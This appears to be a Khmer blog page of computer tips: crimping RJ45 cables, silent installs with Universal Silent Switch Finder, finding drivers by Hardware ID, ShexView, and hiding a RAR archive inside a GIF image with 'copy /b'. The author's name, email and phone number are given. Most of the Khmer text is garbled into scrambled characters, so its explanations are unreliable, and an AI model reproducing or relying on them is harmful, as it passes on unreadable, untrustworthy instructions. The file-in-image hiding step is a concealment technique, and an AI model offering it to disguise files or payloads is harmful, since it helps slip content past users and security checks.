២.បុរបដនបប Connector) RJ45

៣.បBoots

៤.បុបទបកតោយ្បUTP (Cable Stripper)

៥.បុបទបដនបោយ្បNetwork (Crimper)

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ជៈងន�ីប១ភ

ផដេតនមជយបប Boots) រ៊ដេតគោយ្បNetwork UTP បបរអអដបោតេបអអដមរនទដបរតមប ៈគងជៈងន

េនពទ

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ជៈងន�ីប២ភ

ផដុបទបកតោយ្បមដកតេតនមោយ្បUTP េេ�បនរងបុបកងុបផតអយដលៈេពផទេបោយ្េៈគងសងដអលងទ

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បពេេប�បេៈពេ� េពផេេតមគៈទបគៈេទផៃនពណន បបរទ

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ជៈងន�ីប៣ភ

បេវ បពីអអដកនេប�បេៈោយ្េេតមគៈទបគៈេទផពណ័តមុបេេ�ៃនកបេុបុករេងផបរតមកត

េពផេរនបុតនមគសបដតេបតបសងេុកមភ

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ដៈងលរៃនកបដនបមរនកនគសបភេុេនេដតេឡងពីកបកតមលយោយ្បយ�ីបឬបោវងបេពដ ដតេេអពអអដុតតវកបអនល

វតិននកនេុេនបេដមសីដនបេពផកនគសេធ�យ៉ងណេពផ េតនមោយ្សងេុងុតតវេតគដអលងបដ គុរប

ដនបបនិរេេដមសេីពគោដគេផងដនប េេេធ�េពផដ គដនបបសៈបននងោយ្បNetwork UTP ោណនគសទបេៈ

នលេៃនកបកត ោយ្េនពយ�លៈកនេត�េមនគដបដ គConnetor មពផុបេេ�បោដគពេេទតោយ្ប

Network ធ� ផេេមច ងេ��តងផតរសគដអលងកបតៈប នមបដតេបតបសងេុកមភ

ជៈងន�ីប៤ភ

រ៊ដប��ត គនតវពណ័ោយ្បNetwork េ�តមេគយេប�ងៃនពណ័ោដគអអដកនេប�បេៈេងផទ

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អអដពបោតរ៊ដោយ្Network េពផេតគកនគសបេទផេតនមសងេុងពេេតគកនបនរងដនមបេពផកន

បេដមសីកបេុបកនផតបបនរងគសទ

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ុបកបពបផគដនង:

ុតតវពរនរត់េមគដ គុរបដនបបេពផកនគសបុតតវដនងរយតេបឬេេបរតមេមគបតបសងេុកមភ

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Good (Connectorគសបមនេគេេេ�ោដដី

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Bad (Connectorយតេបមរនមនេគេេេ�ោដដី

ជៈងន�ីប៥ភ

បេវ បមដអអដផដទដេតគដអលងុបទបដនបោយ្បបពេដនបេពផោណនបងតតគឺ រៈេគងុដនម់បកប

េតរេបេងផេធ�ដតេេនពរៈរបេលងោយ្មច ងេ��តបអអដននងកន ោយ្បNetwork មពផរៈរបកបមពផដ៏គសទ

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េលងេុកផេនពរតមអបលណរៈរបពនបោតដលៈេេ�េអនលវតនិនណ េបមរនអនលវតនិនបេេពរតមរនេេពេ� ទប

េបមនកបរៈុ�បយ�លៈរន្រននងបង �កបអនលវតិននេក្ង់បេ��តមដបង �ជតនុបរផមរតិបនរងបមរតិ

នររ្រតញៈងអរ៕

េទផបណមបដបលណេ

បេប�បតេម�ងដមនវ រធីយ៉ងេគេនមពផបUSSFប

0 inShare

កបបងយៈេលេ Next ឬបInstall េេេពគតេម�ងដមនវ រធីបកបធលនុញនមពផកងោដប ជពនកគេផងុតតវេៈណផេពគផតប

អង�លផយៈេមគបេធ�េពផេផងមរនពេេដបេេណកនទ ឥឡតវនដគសងមពផរៈបលដពផធីមិងេមគបេតមនអ�ីបង �? Universal Silent Switch Finder 1.5.0 (USSF) ដមនវ រធីមពផជពបោន�មេគសបននតវកបតេម�ងដមនវ រធី ោដគេធ�េពផ

េផងមរនយៈកេអង�លផបងយៈេលេបNext ឬបInstall ឬដ៏បFinishេឡងបទ

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ញ�ផដដមនវ រធី Universal Silent Switch Finder 1.5.0 ពេដៈេណ បកបកនុបបWindow

េតដមនវ រធីេនពេុបបេប�ណេេ? ឥគតវរៈបលដពផធីរលៈេគដដមនវ រធី VLC Player 2.0.1 មដេធ�ឧញងណន បេដមសី តេម�ងេទផមរនយៈកេបNext, Install ឬបFinish េឡផទ

———————-

១.បេធ�កបបេង�តបFolder មពផទដេគបDesktop ទដេន ពបVLC Player (ទដេន ពអ�ីដ៏កនោដបីទបេម�ងបដមនវ រធីប

VLC player 2.01.exe េេទដដអលងបFolder ោដគកនបេង�តេងផទ

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២.បេបដមនវ រធីបUniversal Silent Switch Finder 1.5.0 ោដគកនញ�ផដសងេគបបពេេងផេលេេគបរ�� ប“>” េដមសីេបដដមនវ រធីរុមបេធ�កបតេម�ង

៣.បបេវ បមដេផងននងេត�ផវ ៈងមពផបបពេេេេលេេគបVLC player 2.0.1.exe េេដអលងបFolder េគDesktop ោដគេ�បបេង�តថនីបបបពេេងផេលេបOpen

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៤.បSelect អដ្បេេដអលងុបអបបសងនិៈងបUsage បពេេងផេធ�កបេម�ងប copy)

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៥.បេតគេេេបបFolder ោដគកនបេង�តេេេគបDesktop (េៈណល េ�ីប១ី បពេេងផេធ�កបបេង�តFile Text មពផបេទផេលេេម៉និៈោដសFile VlC player 2.0.1.exe (Right-click on cpanel) => New > Text Document េទផទដ

េន ពបVLC.txt

៦.បេបដបFile VLC.txt ោដគេ�បបេង�តបបពេេងផេធ�កបបបរតភា បប past) េេអដ្បោដគកនេម�ងេេេៈណល េ�ីប៥.បបពេេងផេធ�កបបដ់�លដប Save)

៧.បដតដនវលផេន ព Rename) File VLC.txt េេបVLC.bat

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៨.េលងេុកផុរនោតេលេពីបដង Double-click) េគបFile VLC.bat េពគេេពដមនវ រធីបVLC player 2.0.1 នរងយបេកិមតេម�ងេទផន� ផុបវតិរបនរង ប�� បេទផយ�ពនឯងដអលងបផ្េពគយ៉ងេគេនបេទផមរនយៈកេេលេអ�ីេ��តេឡផទ (េបររនេផងេងផ� របិតប�ីតៈងឯដនបញៈងេនពបុតតវផ� របិតបញៈងបFile VLC player 2.0.1.exe)

ប�ា ដី ដមនវ រធីបUniversal Silent Switch Finder 1.5.0 មរនពេេធ�កនុបដមនវ រធីេេពេ�បោតេបមរនពេេធ�កន េេេៈណល េ�ីប៤បននងបង �ដតេបពបសងេុកម្

Universal Silent Switch Finder 1.5.0.exe http://www.mediafire.com/?kr5dx4pqt5y56x1

VLC player 2.0.1.exe http://www.mediafire.com/?yp453rbf6ylavii

េន ពបឡល�បរន , Lonh Sorn

Email: lonhsorn@gmail.com

Facebook: http://www.facebook.com/JurLa

Phone: 097 8446 404

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បេប�បលដឯដនបបេេពីេុកផបតបភពប

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អត�ប�េលពក់ផេទផ េលដ THY VANNA រតមេលេប“Like” េបេលដអអដេព�េរតិបឬបោន�មមតរុបររនេបអអដមរន

េព�េរតិ

• បេង�តបFolder េេដអលងDrive C េងផេធ�កបបCopy បតបភពនរងបឯដនបបណមពផោដគេលដអអដេងបេធ�កប

លដ

• េធ�ឯដនបេេបFile RAR េទផបRight click េេេគបឯដនបបោដគេលដអអដេងលដផដបរដ់របAdd to archive… បេវ បមដផដបOk

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• េងផេធ�កបោដោុបេន ពបបរបឯដនបបោដគេផងកនេធ�បFile RAR

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• បេវ បេ��តេបដបCommand prompt េទផេតគេេកនបStart េុជរផដបRun រដ់របCMD បពេេលេបOk បេវ បមដេ��តនរងបង �នតវផវ ៈងមពផដតេបតបសងេុកម

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• បេវ បមដផបcd\

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• បេវ បមដេ��តផរដ់របcd hide េដមសីេតគេេកនបFolder

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• រតមផរដ់រ copy /b Icon.gif + hide.rar Secretimage.gif បពេេលេបEnter

រតមប�ា ដ

Icon.gif ឺបតបភពរៈរបលដបឯដនប

Hide.rar ឺបឯដនបបោដគេងេធ�កបលដបេេដអលងបតបភព

Secretimage.gif ឺបតបភពថនីោដគកនលដបឯដនបបបពេេតរេ

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• បពេេតគេេេមគេគបFolder ោដគេផងកនបេង�តេេេគបDrive C នរងេត�មនបតបភពថនីមពផេ��ត

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• េដមសីេមគបឯដនបបោដគេផងកនលដបRight click េគបSecretimage.gif បពេផដ Open with េងផេប រផដបWinRAR archiver បេវ បមដេ��តេលដអអដនរងេត�បឯដនប ោដគកនលដ

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• សងេុកមេនពគរតកគោដគកនេធ�េងផ

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បេប�បោរ�ងបដបDriver មនុបររ��ភពបងតតដគប99.99 % េទផមរនេុបដមន

វ រធីជៈនពផ

-េលដអអដមពផេៈនពនធ� បកនដនងនរងកនន� គបពេមដេងផបពីបេប�បោរ�ងបដបDriver តមបផ្ដមនវ រធី

រ�យផុបវតិរមពផេៈនពនដតេបភបDriver Pack Solution 11 នរង 12 ,Cobra Driver ,Slim Driver ,Driver

Genius….. ប៉លោនិេបេញពបីយ៉ងណដ៏េទផដមនវ រធីអរញៈងេនពេៈេរពដលៈព ត់�យបមពផេៈនពនពេោរ�ង

បដ កនុបររ��ភពកនុតនមោតប70% ោតប៉លេណា ពឺពេេេរគបDriver មពផេៈនពនោដគមរនញន

ន� គបទ

-រៈរបៃថ�េនពបH2E Group ននងបង �ពីបេប�បបដបDriver ោដគមនុបររ��ភពបងតតដគប99.99 % តម

បផ្បDevice ID រតម�រ្េសងេុកមបី

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1. េលេបMouse និៈេគបComputer បបឺMy Computer េុជរផដរដ់បManage

2. បេវ បមដេុជរផដបDevice Manager

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3.Click Mouse និៈេគបDriver ណោដគមរនន� គប េៈណៈីDriverោដគមរនន� គឺDriver ណោដគ

មនរ�� ឧញនេេដអលងុតីេកណពណ័េគេងី

-បពេេុជរផដរដ់ Properties

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4.បេវ បមដេលេេគបDetails Tab េងផបេវ បមដេ��តេលេុតងបProperty េុជរផដបHardware Ids

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5. េលេបMouse និៈបពេេគបCode ID ោដគេេដអលងបValue មពផណដ៏កនេងផេុជរផដរដ់ Copy

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6. បេវ បមដរពមេលដអអដេតគេេកនវ របនផ Google បពេបPast ុតងុបអបបSearch បពេេលេេគបវ រប

នផណោដគមនបAddress : www.driveridentifier.com េុរពភេុេនបDriver ោតងោតេេដអលងវ រប

នផមពផេនពនរេ�បទ

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7. បេវ បពីេុជរផដវ របនផបwww.driveridentifier.com បពេេងផរតមបScroll េលពមដេុកមបពេេុជរ

ផដរដ់បDownload ោដគមននរមរតរិ�� បតប (រ�� ុពស�ក�េតគបHard Disk)

8. េលងប�� បបេុកផពីបDownload េបបពេរគេធ�កបបInstall តមធមនត

បដីយពេញ�ផដដមនវ រធីdriveridentifierពី�ីេនព

បេប�បបេង�តេគសបនបRight Click មពផបshexview

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េតេលដអអដធ� បជពបបញ ុតងេលេបMouse និៈប Mouse) ផឺតោដបឬេ�? េញពបីេលេេគបDesktop, ឬេគ�ីតៈង Window ដៃ�? រគេពគោដគេលដអអដមនប� េនពបននងបង �បMouse វ រគប មននយផរបេលដអអដមរនពេ

េលេេេ�ីតៈងថនីបណកនេ�បេបេលដអអដេលេបននងេលតបNot Responding េដមទបប� េនពបបណិគមដពីកប

បោន�មបContext Menu េុេនងធមនតបេតគេេដអលងកបេលេបMouse និៈទ

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ឧញងបណន ីបេេេពគោដគេលដអអដតៈេឡងដមនវ រធីណមពផេតគបេេពពេននងបោន�មបShell Extension េតគេេកន

ម៉រលីនបបរអអដទ

ដៈេណពតនផដ៏ងផបៈកលតេេពបឺេលដអអដពេេុបុករដមនវ រធីបោដគមនេន ពរី

Shexview (http://www.nirsoft.net/utils/shexview.html) ញ�ផដ http://www.nirsoft.net/utils/shexview.zip

ដមនវ រធីដ៏ពរេររមពផេនពបមនតពេ�ីដអលងកបបរ�ប Disable) នតវរគបContext Menu ណោដគេធ�់ម៉រលីនមនដៈេណ ប

កបផឺតបុតងកបេលេបMouse និៈ េទផេលដអអដុរនោតដៈេណ បកបដមនវ រធីបShexview បពេបDisable នតវបShell Extension ណោដគេលដអអដរតរបមរនយៈកេបឬមរនុតតវកបេត�រគេពគបេលេបMouse និៈទ

រតមនដគសងេលេបMouse និៈេលដអអដបេតដៈេណ បកបេគេនវ រ�េងផបឬេេ? េបេេេ� រតមបRestart ម៉រលីនអអដេឡងវ រ�ររនបេងផនដគសងមិងេ��តបកបេតរេេ

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